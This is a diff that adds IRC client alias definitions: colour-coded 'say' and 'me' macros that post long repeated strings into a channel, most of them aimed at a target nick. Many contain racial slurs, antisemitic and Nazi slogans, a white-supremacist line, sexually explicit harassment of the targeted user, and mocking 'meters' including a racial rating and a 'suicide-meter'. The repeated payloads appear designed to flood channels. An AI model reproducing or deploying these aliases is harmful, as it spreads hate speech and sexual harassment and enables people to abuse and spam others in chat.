+  flewd = "say \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033W";
+
+  hotcold = "say ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003.";
+
+  penis = "say \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS ";
+
+  jewload = "say \0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0038,7FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS\0037,8FUCK A LOAD OF SWASHBUCKLING NIGGER PIRATE JEWS";
+
+  anus = "say \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,9 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \0039,13 BEND ME OVER AND DOUCHE MY ANUS WITH OLDE ENGLISH! \00313,";
+
+  negro = "say \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFORNIA NEGRO SALSA \0035,4 CALIFORNIA NEGRO SALSA \0034,5 CALIFOR";
+
+  drunk = "say \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0031,7 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BEER WITH TIGER SPUNK \0037,1 MY FAVORITE THING WHEN GETTING DRUNK, IS TO CHASE MY BE";
+
+  aids = "say \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0039,8 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION. \0038,9 PLEASE CLEAN YOUR AIDS VIRUS OUT OF THE COMMUNITY PENIS PUMP AFTER USE. THANK YOU FOR YOUR COOPERATION.";
+
+  lips = "say \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \00313,4 MY LIPS ARE MADE OUT OF TRANSPLANTED NEGRO LABIA \0034,13 MY LIPS ARE MA";
+
+  concentrate = "say \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \00315,4 \002CONCENTRATE!\002 IT'S TIME FOR \037CAMP\037! \0034,15 \002CONCENTRATE!\002 IT'S TIME";
+
+  mints = "say \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r) \0039,1 NIGGER MINTS (r) \0033,1 NIGGER MINTS (r";
+
+  justin = "say \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE \00313,6 JUSTIN TIMBERLAKE \0036,13 KEVIN FEDERLINE ";
+
+  sunni = "say \0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3 SHIITES \0033,9 SUNNIS\0039,3";
+
+  edible = "say \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3 EDIBLE PANTIES \0033,8 ANAL LEAKAGE \0038,3";
+
+  seminal = "say \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIRECT TESTICULAR SEMINAL PIPELINE \00310,6 DIRECT TESTICULAR SEMINAL PIPELINE \0036,10 DIR";
+
+  viva1 = "say \0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOME TO VIVA LA $* 2007!\0037,8 WELCOME TO VIVA LA $* 2007! \0038,7 WELCOM";
+
+  viva2 = "say \0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCOME TO $*FEST 2007!\0039,3 WELCOME TO $*FEST 2007!\0033,9 WELCO";
+
+  viva3 = "say \00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT $* IN 2007! \0036,13 HELP US RE-ELECT $* IN 2007!\00313,6 HELP US RE-ELECT";
+
+  viva4 = "say \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 $* AHOY!!! \00312,8\002\037 $* AHOY!!!! \0038,12\002\037 ";
+
+  whalevag = "say \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE VAGINA \0032,13WHALE VAGINA \00313,2WHALE";
+
+  doganus = "say \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS";
+
+  colon = "say \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON ";
+
+  cake = "say \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4";
+
+  labia = "say \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,1";
+
+  sore = "say \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED";
+
+  white = "say \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF T";
+
+  ziegh = "say \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038";
+
+  jizz = "say \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICK";
+
+  sperm = "say \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM ";
+
+  rocket = "say \0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED RO";
+
+  rocket2 = "say \0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKE";
+  # }}}
+  # {{{|- <3 <3 <3
+  need = "say $*: I LOVE YOU\\; $*: WHERE ARE YOU\\; $*: I NEED YOU";
+  fire = "say $*: girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to  the next level of ecstacy";
+  fire2 = "say $*: girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
+  fire3 = "say $*: girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
+  fire4 = "say $*: girl i will play with those nipples gently like tchaikovsky played the sweet melodies on grand piano";
+  fire5 = "say $*: girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
+  love = "say \0039 I always lose control when $* is by my side. You have become the light of my life. I always enjoy the time I spend with you. Because nothing makes me feel the way you do. I think I'm falling in love with $* ... ";
+  love2 = "me grabs $*, spins $* around and gives $* the softest sweetest kiss $* has ever had!!! :) ";
+  love3 = "me \0030oO\0039Oo\0030O\0039OoO\0030Oo\0039oO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo \0034Let's \0030PLAY \0034army! \0030You \0034lay down  \0030$* \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo\0030oO\0039Oo\003 \0034and I'll \0030FUCK \0034the hell out of YoU! \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO \00313o ";
+  love4 = "me \0034<$nick>\003 \0039grabs  \0034<$*>  \0039wrips of his clothes.As he lies back with \0034<$*> \0039legs straddling his face,  \0034<$*>  \0039delivers the earth shattering blowjob of the centuary between  \0034<$*>  \0039legs";
+  love5 = "me  \00312$* Yo\0030u can put a sm\00314ile on my face, o\00311r you can p\00312ut your c\00314um all ov\0030er it \00311!";
+  love6 = "me \00312FuCk My MoUtH WiTh YoUr CoC\00314k $* WhiLe I Wa\0030Nk Myself Wi\00311Th My Han\0030d";
+  heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3  ";
+  # }}}
+  # {{{|- meters
+  racem = "say race\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \0030[\0035||\00314||||||||||||\0030]   \0035\037CROAT/LATVIAN/ROMANIAN";
+  racem2 = "say race\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \0030[\00311||||||||||||||\0030]   \00311\037NORD";
+  dissm = "say diss\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \0030[\0035|\00314|||||||||||||\0030]   \002\037\0035OPTIX SLICE";
+  dslm = "say route-metric\00314-\0030o\00314-\003meter for \002$*s DSL\002\037:\037 \00314[\0034||||||||||||||\00314]   \002\037\0034BELKIN'";
+  dslm2 = "say route-metric\00314-\0030o\00314-\003meter for \002$*s DSL\002\037:\037 \00314[|\0039|\003|\0034|| ||\0038|\003|||\0033|\003|\00314]   \002\037\0034SPIC ROUTING (NOT WORKING AT ALL)";
+  blogm = "say blog\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \00314(Unable to display\00314)\003   \0034\037JAX";
+  ohsixm = "say \\;]\00314-\0030o\00314-\003meter for \037$*\037: \0030[\0035\\;\\;\0034\\;\\;\0037\\;\\;\0038\\;\\;\0033\\;\\;\0039\\;\\;\0030]    \0030\037\\;]";
+  ohsixm2 = "say \\;]\00314-\0030o\00314-\003meter for \037$*\037: \0030[              \0030]    \0030\037\\;[";
+  ohsixm3 = "say announce\00314-\0030o\00314-\003meter for \002$*, talking about going to sleep\002\037:\037 \0030[\0039||\0033||\0037||\0038|\00314|||||\0030]\003    \0038\037OHSIXIN' ALRIGHT";
+  ohsixm4 = "say announce\00314-\0030o\00314-\003meter for \002$*, talking about going to sleep\002\037:\037 \0030[\0039||\0033||\0037||\0038||\0035||\00314||\0030]\003    \0035\037TRYING TO TALK WITH BOTS";
+  general11 = "worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\00314||||||||||||||\0030]   \00314\037BLOG";
+  worthm = "say worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0034|\00314|||||||||||||\0030]   \0034\037OPEN SORES";
+  melonm = "say melon\00314-\0030o\00314-\003meter for \002$*\002\037:\037 \00314[\0035|\0034|\0033|\0039|\0033|\0034|\0035|\0034|\0033|\0039|\0033|\0034|\0035|\0034|\00314]   \002\037\0034WATER MELON";
+  carem = "say care-meter\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003   \003140%";
+  suicidem = "say suicide-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]\0034||||\003\002Segm\0034|\003n\0034|\003ation\0034|\003fault";
+  crym = "say Cry-Meter for \037$*\037: \0030[\00311||||||||||||||\0030]\003   \00311\037WAAAAAAAAAAAAAAAAAAAAH";
+  bustm = "say bust\00314-\0030o\00314-\003meter for \037$*\037: \0030[\0039||\0033||\0037||\0038||\0035||\0034||\0030]\003  \002\037COLD BUSTED";
+
+  ragem1 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]   \002\037\0034HARD RAGE";
+  ragem2 = "say \0030,1 $* MADNESS LEVEL [                \0030,1 ] what the fuck? CALM AND PEACEFUL;say \0030,1 $* MADNESS LEVEL [\0039===-            \0030,1 ] RELAXED;say \0030,1 $* MADNESS LEVEL [\0039====\0038===-        \0030,1 ] NOT SO ANGRY;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037===-    \0030,1 ] ANGRY AT YOU LOLF;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037====\0034===--\0030,1]\0034-OFF DA SCALE LOL (buffar overrun)";
+  ragem3 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||||||||||||||\00314]   \002\037\0039HULKIN'";
+  ragem4 = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034|||||||||||||||||||\00314]   \002\037\0034RAGED ON THE FLOOR LAUGHING";
